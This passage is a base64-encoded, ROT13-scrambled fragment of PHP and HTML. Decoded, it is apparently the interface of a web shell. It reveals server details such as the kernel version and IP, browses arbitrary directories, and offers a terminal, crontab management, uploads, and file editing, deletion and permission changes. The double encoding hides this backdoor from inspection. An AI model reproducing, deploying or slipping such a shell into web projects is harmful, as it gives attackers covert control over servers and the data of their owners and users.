nNuZiBzbi1xcmZ4Z2JjIj48L3Y+IEVRQyBabmFudHJlDQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgPC9xdmk+DQogICAgPC9xdmk+DQoNCiAgICA8IS0tIFpudmEgUGJhZ3JhZyAtLT4NCiAgICA8cXZpIHB5bmZmPSJ6bnZhIj4NCg0KICAgICAgICA8IS0tIEZsZmdyeiBWYXNiIC0tPg0KICAgICAgICA8cXZpIHB5bmZmPSJmbGZncnotdmFzYiI+DQogICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB3aGZndnNsLXBiYWdyYWc6IGZjbnByLW9yZ2pycmE7IG55dnRhLXZncnpmOiBwcmFncmU7IHN5cmstamVuYzogamVuYzsiPg0KICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InF2ZmN5bmw6IHN5cms7IHN5cmstamVuYzogamVuYzsgdG5jOiAyMGNrOyI+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InZhc2ItZWJqIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLXlub3J5Ij48diBweW5mZj0ic25mIHNuLWhmcmUiPjwvdj4gPGZnZWJhdD5IZnJlOjwvZmdlYmF0PjwvZmNuYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLWlueWhyIj48P2N1YyBycHViIEB0cmdfcGhlZXJhZ19oZnJlKCk7ID8+PC9mY25hPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0idmFzYi1lYmoiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZjbmEgcHluZmY9InZhc2IteW5vcnkiPjx2IHB5bmZmPSJzbmYgc24tcGJxciI+PC92PiA8ZmdlYmF0PkNVQyBJcmVmdmJhOjwvZmdlYmF0PjwvZmNuYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLWlueWhyIj48P2N1YyBycHViIGN1Y2lyZWZ2YmEoKTsgPz48L2ZjbmE+DQogICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ2YXNiLWViaiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0idmFzYi15bm9yeSI+PHYgcHluZmY9InNuZiBzbi1mcmVpcmUiPjwvdj4gPGZnZWJhdD5GcmVpcmUgRmJzZ2puZXI6PC9mZ2ViYXQ+PC9mY25hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZjbmEgcHluZmY9InZhc2ItaW55aHIiPjw/Y3VjIHJwdWIgJF9GUkVJUkVbJ0ZSRUlSRV9GQlNHSk5FUiddID8/ICdBL04nOyA/PjwvZmNuYT4NCiAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ieWJ0dmEtdmFzYiI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24taGZyZS1wdmVweXIiPjwvdj4NCiAgICAgICAgICAgICAgICAgICAgPD9jdWMgcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfRlJGRlZCQVsnaGZyZWFuenInXSk7ID8+DQogICAgICAgICAgICAgICAgICAgIDxuIHVlcnM9Ij95YnRiaGc9Z2VociIgcHluZmY9InlidGJoZy1vZ2EiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1mdnRhLWJoZy1ueWciPjwvdj4gWWJ0YmhnDQogICAgICAgICAgICAgICAgICAgIDwvbj4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPHF2aSBweW5mZj0idmFzYi1lYmoiPg0KICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLXlub3J5Ij48diBweW5mZj0ic25mIHNuLXFyZnhnYmMiPjwvdj4gPGZnZWJhdD5VYmZnYW56cjo8L2ZnZWJhdD48L2ZjbmE+DQogICAgICAgICAgICAgICAgPGZjbmEgcHluZmY9InZhc2ItaW55aHIiPjw/Y3VjIHJwdWIgY3VjX2hhbnpyKCdhJyk7ID8+PC9mY25hPg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICA8cXZpIHB5bmZmPSJ2YXNiLWViaiI+DQogICAgICAgICAgICAgICAgPGZjbmEgcHluZmY9InZhc2IteW5vcnkiPjx2IHB5bmZmPSJzbmYgc24tenZwZWJwdXZjIj48L3Y+IDxmZ2ViYXQ+WHJlYXJ5IElyZWZ2YmE6PC9mZ2ViYXQ+PC9mY25hPg0KICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLWlueWhyIj48P2N1YyBycHViIGN1Y19oYW56cignaScpOyA/PjwvZmNuYT4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPHF2aSBweW5mZj0idmFzYi1lYmoiPg0KICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLXlub3J5Ij48diBweW5mZj0ic25mIHNuLWFyZ2piZXgtanZlcnEiPjwvdj4gPGZnZWJhdD5GcmVpcmUgVkM6PC9mZ2ViYXQ+PC9mY25hPg0KICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2YXNiLWlueWhyIj48P2N1YyBycHViICRfRlJFSVJFWydGUkVJUkVfTlFRRSddID8/ICRfRlJFSVJFWydZQlBOWV9OUVFFJ10gPz8gdHJndWJmZ29sYW56cigkX0ZSRUlSRVsnRlJFSVJFX0FOWlInXSkgPz8gJ0EvTic7ID8+PC9mY25hPg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgIDwvcXZpPg0KDQogICAgICAgIDwhLS0gT2VybnFwZWh6byAtLT4NCiAgICAgICAgPHF2aSBweW5mZj0ib2VybnFwZWh6byI+DQogICAgICAgICAgICA8cXZpIHB5bmZmPSJxdmUtZmduZ2hmIDw/Y3VjIHJwdWIgdmZfamV2Z25veXJfcXZlKCRwaGVlcmFnX3F2ZSkgPyAncXZlLWpldmdub3lyJyA6ICdxdmUtZXJucWJheWwnOyA/PiI+DQogICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiA8P2N1YyBycHViIHZmX2pldmdub3lyX3F2ZSgkcGhlZXJhZ19xdmUpID8gJ3NuLXB1cnB4LXB2ZXB5cicgOiAnc24tcmtweW56bmd2YmEtcHZlcHlyJzsgPz4iPjwvdj4NCiAgICAgICAgICAgICAgICA8P2N1YyBycHViIHZmX2pldmdub3lyX3F2ZSgkcGhlZXJhZ19xdmUpID8gJ0pldmdub3lyJyA6ICdFcm5xIEJheWwnOyA/Pg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyBueXZ0YS12Z3J6ZjogcHJhZ3JlOyBzeXJrLWplbmM6IGplbmM7IHRuYzogNWNrOyI+DQogICAgICAgICAgICAgICAgPGZnZWJhdD48diBweW5mZj0ic25mIHNuLXNieXFyZSI+PC92PiBDanE6PC9mZ2ViYXQ+IA0KICAgICAgICAgICAgICAgIDw/Y3VjDQogICAgICAgICAgICAgICAgJGNuZ3VfY25lZ2YgPSBbXTsNCiAgICAgICAgICAgICAgICAkZ3J6Y19jbmd1ID0gJHBoZWVyYWdfcXZlOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGp1dnlyICgkZ3J6Y19jbmd1ICE9ICcuJyAmJiAkZ3J6Y19jbmd1ICE9ICcvJykgew0KICAgICAgICAgICAgICAgICAgICAkY25ndV9jbmVnZltdID0gWydhbnpyJyA9PiBvbmZyYW56cigkZ3J6Y19jbmd1KSwgJ2NuZ3UnID0+ICRncnpjX2NuZ3VdOw0KICAgICAgICAgICAgICAgICAgICAkZ3J6Y19jbmd1ID0gcXZlYW56cigkZ3J6Y19jbmd1KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGNuZ3VfY25lZ2ZbXSA9IFsnYW56cicgPT4gJ0ViYmcnLCAnY25ndScgPT4gJy4nXTsNCiAgICAgICAgICAgICAgICAkY25ndV9jbmVnZiA9IG5lZW5sX2VyaXJlZnIoJGNuZ3VfY25lZ2YpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIHNiZXJucHUgKCRjbmd1X2NuZWdmIG5mICR2YXFyayA9PiAkY25lZykgew0KICAgICAgICAgICAgICAgICAgICB2cyAoJHZhcXJrID4gMCkgcnB1YiAnIDx2IHB5bmZmPSJzbmYgc24tcHVyaWViYS1ldnR1ZyIgZmdseXI9InNiYWctZnZtcjoxMGNrOyI+PC92PiAnOw0KICAgICAgICAgICAgICAgICAgICBycHViICc8biB1ZXJzPSI/cXZlPScuaGV5cmFwYnFyKCRjbmVnWydjbmd1J10pLiciIHB5bmZmPSJxdmUteXZheCI+Jy51Z3p5ZmNycHZueXB1bmVmKCRjbmVnWydhbnpyJ10pLic8L24+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPG4gdWVycz0iP3F2ZT08P2N1YyBycHViIGhleXJhcGJxcigkdWJ6cl9xdmUpOyA/PiIgcHluZmY9Im9ubGwiPjx2IHB5bmZmPSJzbmYgc24tdWJ6ciI+PC92PiBVYnpyPC9uPg0KICAgICAgICAgICAgPG9lPjxxdmkgZmdseXI9InNiYWctZnZtcjogMTJjazsgcGJ5YmU6IGluZSgtLWdya2ctZnJwYmFxbmVsKTsiPg0KICAgICAgICAgICAgICAgIDxmZ2ViYXQ+UGhlZXJhZzo8L2ZnZWJhdD4gPD9jdWMgcnB1YiBlcm55Y25ndSgkcGhlZXJhZ19xdmUpOyA/Pg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgIDwvcXZpPg0KDQogICAgICAgIDwhLS0gR25vIFBiYWdudmFyZSAtLT4NCiAgICAgICAgPHF2aSBweW5mZj0iZ25vLXBiYWdudmFyZSI+DQogICAgICAgICAgICA8cXZpIHB5bmZmPSJnbm8tb2hnZ2JhZiI+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBweW5mZj0iZ25vLW9oZ2diYSBucGd2aXIiIGJhcHl2cHg9ImZqdmdwdUdubygnc3Z5clpuYW50cmUnKSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tc2J5cXJlIj48L3Y+IFN2eXIgWm5hbnRyZQ0KICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9Imduby1vaGdnYmEiIGJhcHl2cHg9ImZqdmdwdUdubygnZ3JlenZhbnknKSIgdnE9ImdyZXp2YW55R25vT2hnZ2JhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1ncmV6dmFueSI+PC92PiBHcmV6dmFueQ0KICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9Imduby1vaGdnYmEiIGJhcHl2cHg9ImZqdmdwdUdubygncGViYWdubycpIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1weWJweCI+PC92PiBQZWJhZ25vIFpuYW50cmUNCiAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8IS0tIFN2eXIgWm5hbnRyZSBHbm8gLS0+DQogICAgICAgICAgICA8cXZpIHZxPSJzdnlyWm5hbnRyZSIgcHluZmY9Imduby1wYmFncmFnIG5wZ3ZpciI+DQogICAgICAgICAgICAgICAgPCEtLSBHYmJ5b25lIC0tPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdiYnlvbmUiPg0KICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGJhcHl2cHg9ImZ1YmpIY3libnEoKSIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLWhjeWJucSI+PC92PiBIY3libnEgU3Z5cg0KICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBiYXB5dnB4PSJmdWJqWnhxdmUoKSIgcHluZmY9Im9nYSBvZ2EtdmFzYiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLXNieXFyZS1jeWhmIj48L3Y+IFBlcm5nciBTYnlxcmUNCiAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgYmFweXZweD0iZnViakFyalN2eXIoKSIgcHluZmY9Im9nYSBvZ2Etam5lYXZhdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLXN2eXItY3loZiI+PC92PiBBcmogU3Z5cg0KICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBiYXB5dnB4PSJmdWJqTXZjU3Z5cmYoKSIgcHluZmY9Im9nYSBvZ2EtY2V2em5lbCIgdnE9Im12Y09nYSIgcXZmbm95cnE+DQogICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLXN2eXItbmVwdXZpciI+PC92PiBNdmMgRnJ5cnBncnEgKDxmY25hIHZxPSJmcnlycGdycVBiaGFnIj4wPC9mY25hPikNCiAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgYmFweXZweD0iZnViakhhbXZjU3Z5cigpIiBweW5mZj0ib2dhIG9nYS1mcnBiYXFuZWwiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1ya2NuYXEtbmVlYmpmLW55ZyI+PC92PiBIYW12YyBTdnlyDQogICAgICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgIDwvcXZpPg0KDQogICAgICAgICAgICAgICAgPCEtLSBTdnlyIFl2ZmcgLS0+DQogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZnJwZ3ZiYSI+DQogICAgICAgICAgICAgICAgICAgIDx1MyBmZ2x5cj0iem5ldHZhLW9iZ2diejogMTVjazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi15dmZnIj48L3Y+IFF2ZXJwZ2JlbCBQYmFncmFnZg0KICAgICAgICAgICAgICAgICAgICA8L3UzPg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic3Z5ci15dmZnIiB2cT0ic3Z5cll2ZmciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9jdWMNCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIENuZXJhZyBxdmVycGdiZWwgeXZheA0KICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCRwaGVlcmFnX3F2ZSAhPSAnLicgJiYgJHBoZWVyYWdfcXZlICE9ICcvJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbmVyYWcgPSBxdmVhbnpyKCRwaGVlcmFnX3F2ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNuZXJhZ19qZXZnbm95ciA9IHZmX2pldmdub3lyX3F2ZSgkY25lcmFnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBycHViICc8cXZpIHB5bmZmPSJzdnlyLXZncnoiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ic3Z5ci1hbnpyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJ2cGJhLXNieXFyZSI+PHYgcHluZmY9InNuZiBzbi1zYnlxcmUiPjwvdj48L2ZjbmE+IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG4gdWVycz0iP3F2ZT0nLmhleXJhcGJxcigkY25lcmFnKS4nIiBweW5mZj0icXZlLXl2YXgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENuZXJhZyBRdmVycGdiZWwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnIC4gKCEkY25lcmFnX2pldmdub3lyID8gJzxmY25hIHB5bmZmPSJqZXZnbm95ci12YXF2cG5nYmUgamV2Z25veXItc255ZnIiIGd2Z3lyPSJFcm5xIEJheWwiPjwvZmNuYT4nIDogJycpIC4gJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZjbmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InN2eXItbnBndmJhZiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ic3Z5ci12YXNiIj5RVkU8L2ZjbmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdnlyZiA9IEBmcG5hcXZlKCRwaGVlcmFnX3F2ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICB2cyAoJHN2eXJmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHN2eXJmIG5mICRzdnlyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkc3Z5ciA9PSAnLicgfHwgJHN2eXIgPT0gJy4uJykgcGJhZ3ZhaHI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2h5eWNuZ3UgPSAkcGhlZXJhZ19xdmUgLiAnLycgLiAkc3Z5cjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZmX3F2ZSA9IEB2Zl9xdmUoJHNoeXljbmd1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZwYmEgPSAkdmZfcXZlID8gJzxmY25hIHB5bmZmPSJ2cGJhLXNieXFyZSI+PHYgcHluZmY9InNuZiBzbi1zYnlxcmUiPjwvdj48L2ZjbmE+JyA6ICc8ZmNuYSBweW5mZj0idnBiYS1zdnlyIj48diBweW5mZj0ic25mIHNuLXN2eXIiPjwvdj48L2ZjbmE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ2bXIgPSAkdmZfcXZlID8gJy0nIDogc2Jlem5nX2Z2bXIoQHN2eXJmdm1yKCRzaHl5Y25ndSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3JlemYgPSBmaG9mZ2UoZmNldmFncygnJWInLCBAc3Z5cmNyZXpmKCRzaHl5Y25ndSkpLCAtNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRndnpyID0gQHFuZ3IoJ0wtei1xIFU6djpmJywgQHN2eXJ6Z3Z6cigkc2h5eWNuZ3UpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm5ncnEgPSBAcW5ncignTC16LXEgVTp2OmYnLCBAc3Z5cnBndnpyKCRzaHl5Y25ndSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmZfamV2Z25veXIgPSB2Zl9qZXZnbm95cigkc2h5eWNuZ3UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnPHF2aSBweW5mZj0ic3Z5ci12Z3J6IiBxbmduLXN2eXI9IicudWd6eWZjcnB2bnlwdW5lZigkc3Z5cikuJyIgcW5nbi1jbmd1PSInLnVnenlmY3Jwdm55cHVuZWYoJHNoeXljbmd1KS4nIiBxbmduLWdsY3I9IicuKCR2Zl9xdmUgPyAncXZlJyA6ICdzdnlyJykuJyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ic3Z5ci1hbnpyIj4nLiR2cGJhLicgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkdmZfcXZlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXZlX2pldmdub3lyID0gdmZfamV2Z25veXJfcXZlKCRzaHl5Y25ndSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBycHViICc8biB1ZXJzPSI/cXZlPScuaGV5cmFwYnFyKCRzaHl5Y25ndSkuJyIgcHluZmY9InF2ZS15dmF4Ij4nLnVnenlmY3Jwdm55cHVuZWYoJHN2eXIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCEkcXZlX2pldmdub3lyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnIDxmY25hIHB5bmZmPSJqZXZnbm95ci12YXF2cG5nYmUgamV2Z25veXItc255ZnIiIGd2Z3lyPSJFcm5xIEJheWwiPjwvZmNuYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnPC9uPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBycHViIHVnenlmY3Jwdm55cHVuZWYoJHN2eXIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCEkdmZfamV2Z25veXIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBycHViICcgPGZjbmEgcHluZmY9Impldmdub3lyLXZhcXZwbmdiZSBqZXZnbm95ci1zbnlmciIgZ3ZneXI9IkVybnEgQmF5bCI+PC9mY25hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnPC9mY25hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic3Z5ci1xcmdudnlmIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzdnlyLXFyZ252eS12Z3J6Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1wbnlyYXFuZSIgZmdseXI9InNiYWctZnZtcjo5Y2s7Ij48L3Y+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hPlBlcm5ncnE6ICcgLiAkcGVybmdycSAuICc8L2ZjbmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic3Z5ci1xcmdudnktdmdyeiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tcnF2ZyIgZmdseXI9InNiYWctZnZtcjo5Y2s7Ij48L3Y+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hPlpicXZzdnJxOiAnIC4gJGd2enIgLiAnPC9mY25hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InN2eXItcXJnbnZ5LXZncnoiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLXhybCIgZmdseXI9InNiYWctZnZtcjo5Y2s7Ij48L3Y+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJzdnlyLWNyZXp2ZmZ2YmEiPicgLiAkY3JlemYgLiAnPC9mY25hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzdnlyLW5wZ3ZiYWYiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCEkdmZfcXZlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBycHViICc8biB1ZXJzPSI/bnBndmJhPXFiamF5Ym5xJnN2eXI9Jy5oZXlyYXBicXIoJHNoeXljbmd1KS4nJnF2ZT0nLmhleXJhcGJxcigkcGhlZXJhZ19xdmUpLiciIHB5bmZmPSJvZ2Egb2dhLXZhc2IiIGd2Z3lyPSJRYmpheWJucSI+PHYgcHluZmY9InNuZiBzbi1xYmpheWJucSI+PC92PiBRYmpheWJucTwvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgYmFweXZweD0icnF2Z1N2eXIoXCcnLm5xcWZ5bmZ1cmYoJHNoeXljbmd1KS4nXCcpIiBweW5mZj0ib2dhIG9nYS1qbmVhdmF0IiBndmd5cj0iUnF2ZyIgJyAuICghJHZmX2pldmdub3lyID8gJ3F2Zm5veXJxJyA6ICcnKSAuICc+PHYgcHluZmY9InNuZiBzbi1ycXZnIj48L3Y+IFJxdmc8L29oZ2diYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBycHViICc8b2hnZ2JhIGJhcHl2cHg9InB1emJxU3Z5cihcJycubnFxZnluZnVyZigkc2h5eWNuZ3UpLidcJywgXCcnLiRjcmV6Zi4nXCcpIiBweW5mZj0ib2dhIG9nYS1mcnBiYXFuZWwiIGd2Z3lyPSJQdW5hdHIgQ3JlenZmZnZiYWYiPjx2IHB5bmZmPSJzbmYgc24teHJsIj48L3Y+IENyZXp2ZmZ2YmFmPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgYmFweXZweD0iZXJhbnpyU3Z5cihcJycubnFxZnluZnVyZigkc2h5eWNuZ3UpLidcJykiIHB5bmZmPSJvZ2Egb2dhLWNldnpuZWwiIGd2Z3lyPSJFcmFuenIiICcgLiAoISR2Zl9qZXZnbm95ciA/ICdxdmZub3lycScgOiAnJykgLiAnPjx2IHB5bmZmPSJzbmYgc24tdi1waGVmYmUiPjwvdj4gRXJhbnpyPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgYmFweXZweD0icXJ5cmdyU3Z5cihcJycubnFxZnluZnVyZigkc2h5eWNuZ3UpLidcJykiIHB5bmZmPSJvZ2Egb2dhLXFuYXRyZSIgZ3ZneXI9IlFyeXJnciIgJyAuICghJHZmX2pldmdub3lyID8gJ3F2Zm5veXJxJyA6ICcnKSAuICc+PHYgcHluZmY9InNuZiBzbi1nZW5mdSI+PC92PiBRcnlyZ3I8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnPHF2aSBweW5mZj0ic3Z5ci12Z3J6Ij5QbmFhYmcgZXJucSBxdmVycGdiZWwgcGJhZ3JhZ2Y8L3F2aT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8IS0tIEdyZXp2YW55IEdubyAtLT4NCiAgICAgICAgICAgIDxxdmkgdnE9ImdyZXp2YW55IiBweW5mZj0iZ25vLXBiYWdyYWciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZycGd2YmEiP